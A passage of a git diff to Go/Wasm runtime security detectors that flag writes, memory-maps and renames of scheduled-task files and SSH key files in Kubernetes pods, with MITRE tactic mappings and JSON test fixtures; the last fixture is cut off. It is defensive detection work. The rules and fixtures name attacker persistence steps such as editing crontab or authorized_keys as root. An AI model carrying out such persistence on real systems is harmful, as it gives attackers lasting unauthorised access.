resp.Reason = fmt.Sprintf(KprobeWriteAnacronDefault, path, binary, binaryArgs) + case (file.scheduler == "At") && (action == "write") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeWriteAtNoArgs, path, binary) + case (file.scheduler == "At") && (action == "write") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeWriteAtDefault, path, binary, binaryArgs) + case (file.scheduler == "Cron") && (action == "write") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeWriteCronNoArgs, path, binary) + case (file.scheduler == "Cron") && (action == "write") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeWriteCronDefault, path, binary, binaryArgs) + case (file.scheduler == "SystemdTimers") && (action == "write") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeWriteSystemdTimersNoArgs, path, binary) + case (file.scheduler == "SystemdTimers") && (action == "write") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeWriteSystemdTimersDefault, path, binary, binaryArgs) + case (file.scheduler == "Anacron") && (action == "mmap") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeMmapAnacronNoArgs, path, binary) + case (file.scheduler == "Anacron") && (action == "mmap") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeMmapAnacronDefault, path, binary, binaryArgs) + case (file.scheduler == "At") && (action == "mmap") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeMmapAtNoArgs, path, binary) + case (file.scheduler == "At") && (action == "mmap") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeMmapAtDefault, path, binary, binaryArgs) + case (file.scheduler == "Cron") && (action == "mmap") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeMmapCronNoArgs, path, binary) + case (file.scheduler == "Cron") && (action == "mmap") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeMmapCronDefault, path, binary, binaryArgs) + case (file.scheduler == "SystemdTimers") && (action == "mmap") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeMmapSystemdTimersNoArgs, path, binary) + case (file.scheduler == "SystemdTimers") && (action == "mmap") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeMmapSystemdTimersDefault, path, binary, binaryArgs) + case (file.scheduler == "Anacron") && (action == "rename") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeRenameAnacronNoArgs, path, newFile, binary) + case (file.scheduler == "Anacron") && (action == "rename") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeRenameAnacronDefault, path, newFile, binary, binaryArgs) + case (file.scheduler == "At") && (action == "rename") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeRenameAtNoArgs, path, newFile, binary) + case (file.scheduler == "At") && (action == "rename") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeRenameAtDefault, path, newFile, binary, binaryArgs) + case (file.scheduler == "Cron") && (action == "rename") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeRenameCronNoArgs, path, newFile, binary) + case (file.scheduler == "Cron") && (action == "rename") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeRenameCronDefault, path, newFile, binary, binaryArgs) + case (file.scheduler == "SystemdTimers") && (action == "rename") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeRenameSystemdTimersNoArgs, path, newFile, binary) + case (file.scheduler == "SystemdTimers") && (action == "rename") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeRenameSystemdTimersDefault, path, newFile, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected return resp, nil @@ -176,271 +420,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNTE5ODczNTgwOTM0MTk6NjAyNjQy", - "pid": 602642, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/vim", - "arguments": "/etc/crontab", - "flags": "execve rootcwd clone", - "start_time": "2024-08-08T09:52:03.004302955Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "cri-o://426ccd7bdd6e9565a3f2767765b0c1fc160c8132c331884a6000759307b4fae2", - "name": "test-pod-debian", - "image": { - "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-18T19:36:11Z", - "pid": 4183, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "426ccd7bdd6e9565a3f2767765b0c1f", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNTE4OTMwOTUxMjc5Mjc6NjAxNTc0", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026532264, - "is_host": false - }, - "ipc": { - "inum": 4026532265, - "is_host": false - }, - "mnt": { - "inum": 4026532792, - "is_host": false - }, - "pid": { - "inum": 4026532793, - "is_host": false - }, - "pid_for_children": { - "inum": 4026532793, - "is_host": false - }, - "net": { - "inum": 4026532266, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026532794, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 602642, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNTE4OTMwOTUxMjc5Mjc6NjAxNTc0", - "pid": 601574, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-08-08T09:50:28.741338076Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "cri-o://426ccd7bdd6e9565a3f2767765b0c1fc160c8132c331884a6000759307b4fae2", - "name": "test-pod-debian", - "image": { - "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-18T19:36:11Z", - "pid": 4032, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "426ccd7bdd6e9565a3f2767765b0c1f", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNTE4OTMwOTM3MzM1NTk6NjAxNTc0", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026532264, - "is_host": false - }, - "ipc": { - "inum": 4026532265, - "is_host": false - }, - "mnt": { - "inum": 4026532792, - "is_host": false - }, - "pid": { - "inum": 4026532793, - "is_host": false - }, - "pid_for_children": { - "inum": 4026532793, - "is_host": false - }, - "net": { - "inum": 4026532266, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026532794, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 601574, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "function_name": "security_file_permission", - "args": [ - { - "file_arg": { - "mount": "", - "path": "/etc/crontab", - "flags": "", - "permission": "-rw-r--r--" - }, - "label": "" - }, - { - "int_arg": 2, - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "file-monitoring", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-08-08T09:52:07.009362950Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_SCHED_TASK_MOD/testdata/negative_benign_path.json b/event-processor/detector/wasm/CS_RT_SCHED_TASK_MOD/testdata/negative_benign_path.json new file mode 100644 index 00000000..0153a355 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SCHED_TASK_MOD/testdata/negative_benign_path.json @@ -0,0 +1,35 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/bash", + "arguments": "-c \"echo test > /etc/issue\"" + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "path": "/etc/issue", + "permission": "-rw-r--r--" + } + }, + { + "int_arg": 2 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SCHED_TASK_MOD/testdata/positive_crontab_modify.json b/event-processor/detector/wasm/CS_RT_SCHED_TASK_MOD/testdata/positive_crontab_modify.json new file mode 100644 index 00000000..909935fa --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SCHED_TASK_MOD/testdata/positive_crontab_modify.json @@ -0,0 +1,285 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNTE5ODczNTgwOTM0MTk6NjAyNjQy", + "pid": 602642, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/vim", + "arguments": "/etc/crontab", + "flags": "execve rootcwd clone", + "start_time": "2024-08-08T09:52:03.004302955Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://426ccd7bdd6e9565a3f2767765b0c1fc160c8132c331884a6000759307b4fae2", + "name": "test-pod-debian", + "image": { + "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-18T19:36:11Z", + "pid": 4183, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "426ccd7bdd6e9565a3f2767765b0c1f", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNTE4OTMwOTUxMjc5Mjc6NjAxNTc0", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026532264, + "is_host": false + }, + "ipc": { + "inum": 4026532265, + "is_host": false + }, + "mnt": { + "inum": 4026532792, + "is_host": false + }, + "pid": { + "inum": 4026532793, + "is_host": false + }, + "pid_for_children": { + "inum": 4026532793, + "is_host": false + }, + "net": { + "inum": 4026532266, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026532794, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 602642, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNTE4OTMwOTUxMjc5Mjc6NjAxNTc0", + "pid": 601574, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-08-08T09:50:28.741338076Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://426ccd7bdd6e9565a3f2767765b0c1fc160c8132c331884a6000759307b4fae2", + "name": "test-pod-debian", + "image": { + "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-18T19:36:11Z", + "pid": 4032, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "426ccd7bdd6e9565a3f2767765b0c1f", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNTE4OTMwOTM3MzM1NTk6NjAxNTc0", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026532264, + "is_host": false + }, + "ipc": { + "inum": 4026532265, + "is_host": false + }, + "mnt": { + "inum": 4026532792, + "is_host": false + }, + "pid": { + "inum": 4026532793, + "is_host": false + }, + "pid_for_children": { + "inum": 4026532793, + "is_host": false + }, + "net": { + "inum": 4026532266, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026532794, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 601574, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "mount": "", + "path": "/etc/crontab", + "flags": "", + "permission": "-rw-r--r--" + }, + "label": "" + }, + { + "int_arg": 2, + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "file-monitoring", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [] + }, + "node_name": "test-k8s-cluster", + "time": "2024-08-08T09:52:07.009362950Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_SCHED_TASK_MOD", + "severity": "HIGH", + "reason_contains": "cron task scheduler", + "tactics": [ + "TA0002", + "TA0003", + "TA0004" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SSH_KEY_MODIFY/main.go b/event-processor/detector/wasm/CS_RT_SSH_KEY_MODIFY/main.go index c2d70658..ad2a3aad 100644 --- a/event-processor/detector/wasm/CS_RT_SSH_KEY_MODIFY/main.go +++ b/event-processor/detector/wasm/CS_RT_SSH_KEY_MODIFY/main.go @@ -21,13 +21,12 @@ const ( ) const ( - // File access permissions - // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L100 - MAY_WRITE = 2 - - // Memory page access permissions - // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L11 - PROT_WRITE = 2 + KprobeWriteNoArgs = "Detected that the `%s` file with SSH keys was edited by the `%s` process" + KprobeWriteDefault = "Detected that the `%s` file with SSH keys was edited by the `%s` process, which was started using the `%s` arguments" + KprobeMmapNoArgs = "Detected that the `%s` file with SSH keys was memory-mapped by the `%s` process" + KprobeMmapDefault = "Detected that the `%s` file with SSH keys was memory-mapped by the `%s` process, which was started using the `%s` arguments" + KprobeRenameNoArgs = "Detected that the `%s` file with SSH keys was replaced with the `%s` file by the `%s` process" + KprobeRenameDefault = "Detected that the `%s` file with SSH keys was replaced with the `%s` file by the `%s` process, which was started using the `%s` arguments" ) var ( @@ -36,7 +35,7 @@ var ( // a particular event type, such as "PROCESS_EXEC", leave slice empty or use // wildcard "*". triggerCriteria = map[string][]string{ - "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, + "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate", "security_path_rename"}, // Examples: // @@ -48,13 +47,56 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0001", + Techniques: []string{ + "T1133", + "T1078.003", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1133", + "T1078.003", + "T1098.004", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1078.003", + "T1098.004", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1078.003", + }, + }, + } +) + +const ( + // File access permissions + // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L100 + MAY_WRITE = 2 + + // Memory page access permissions + // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L11 + PROT_WRITE = 2 +) + var ( sshKeysPath = regexp.MustCompile(`^(/root/|/home/.*/)\.ssh/`) filesToExclude = regexp.MustCompile(`\.ssh2?/(config|known_hosts)$`) ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -62,12 +104,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -101,9 +144,13 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() args := kprobe.GetArgs() path := "" + newFile := "" + action := "" switch function { // Trigger when security function check for file write access. @@ -115,6 +162,7 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } + action = "write" path = args[0].GetFileArg().GetPath() // Trigger when security function check for memory page write access. @@ -126,6 +174,7 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } + action = "mmap" path = args[0].GetFileArg().GetPath() // Trigger when security function check if truncating a file is allowed. @@ -135,13 +184,40 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return nil, fmt.Errorf("unexpected args len, got %d, want >= 1", len(args)) } + action = "write" path = args[0].GetPathArg().GetPath() + // Trigger when security function check if renaming a file is allowed. + // https://elixir.bootlin.com/linux/v6.15.7/source/security/security.c#L2005 + case "security_path_rename": + if len(args) < 2 { + return nil, fmt.Errorf("unexpected args len, got %d, want >= 2", len(args)) + } + + action = "rename" + path = args[1].GetPathArg().GetPath() + newFile = args[0].GetPathArg().GetPath() + default: return resp, nil } if sshKeysPath.MatchString(path) && !filesToExclude.MatchString(path) { + resp.TacticsCovered = mitreTactics + switch { + case (action == "write") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeWriteNoArgs, path, binary) + case (action == "write") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeWriteDefault, path, binary, binaryArgs) + case (action == "mmap") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeMmapNoArgs, path, binary) + case (action == "mmap") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeMmapDefault, path, binary, binaryArgs) + case (action == "rename") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeRenameNoArgs, path, newFile, binary) + case (action == "rename") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeRenameDefault, path, newFile, binary, binaryArgs) + } resp.Severity = api.DetectResp_MEDIUM // <-- threat detected return resp, nil @@ -156,267 +232,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjE4NDE3OTE1MDY5OTEzMDQ6NDA4NzQxOA==", - "pid": 4087418, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/vim", - "arguments": "/root/.ssh/authorized_keys", - "flags": "execve rootcwd clone", - "start_time": "2024-03-05T18:50:18.300441972Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 1968, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjE4NDE2ODY2ODU1Njg4NzI6NDA4NjQxMA==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 4087418, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjE4NDE2ODY2ODU1Njg4NzI6NDA4NjQxMA==", - "pid": 4086410, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-03-05T18:48:33.479019614Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 1959, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjE4NDE2ODY2ODE1NjIwOTQ6NDA4NjQxMA==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 4086410, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "function_name": "security_file_permission", - "args": [ - { - "file_arg": { - "mount": "", - "path": "/root/.ssh/authorized_keys", - "flags": "" - }, - "label": "" - }, - { - "int_arg": 2, - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "stack_trace": [], - "policy_name": "file-monitoring" - }, - "node_name": "experts-k8s-cs", - "time": "2024-03-05T18:50:25.450598445Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - - -*/ diff --git a/event-processor/detector/wasm/CS_RT_SSH_KEY_MODIFY/testdata/negative_benign_path.json b/event-processor/detector/wasm/CS_RT_SSH_KEY_MODIFY/testdata/negative_benign_path.json new file mode 100644 index 00000000..099fe5fe --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SSH_KEY_MODIFY/testdata/negative_benign_path.json @@ -0,0 +1,35 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/bash", + "arguments": "-c \"echo hello > /root/.bashrc\"" + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "path": "/root/.bashrc", + "permission": "-rw-r--r--" + } + }, + { + "int_arg": 2 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SSH_KEY_MODIFY/testdata/positive_authorized_keys_write.json b/event-processor/detector/wasm/CS_RT_SSH_KEY_MODIFY/testdata/positive_authorized_keys_write.json new file mode 100644 index 00000000..cac1ef59 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SSH_KEY_MODIFY/testdata/positive_authorized_keys_write.json @@ -0,0 +1,278 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjE4NDE3OTE1MDY5OTEzMDQ6NDA4NzQxOA==", + "pid": 4087418, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/vim", + "arguments": "/root/.ssh/authorized_keys", + "flags": "execve rootcwd clone", + "start_time": "2024-03-05T18:50:18.300441972Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": 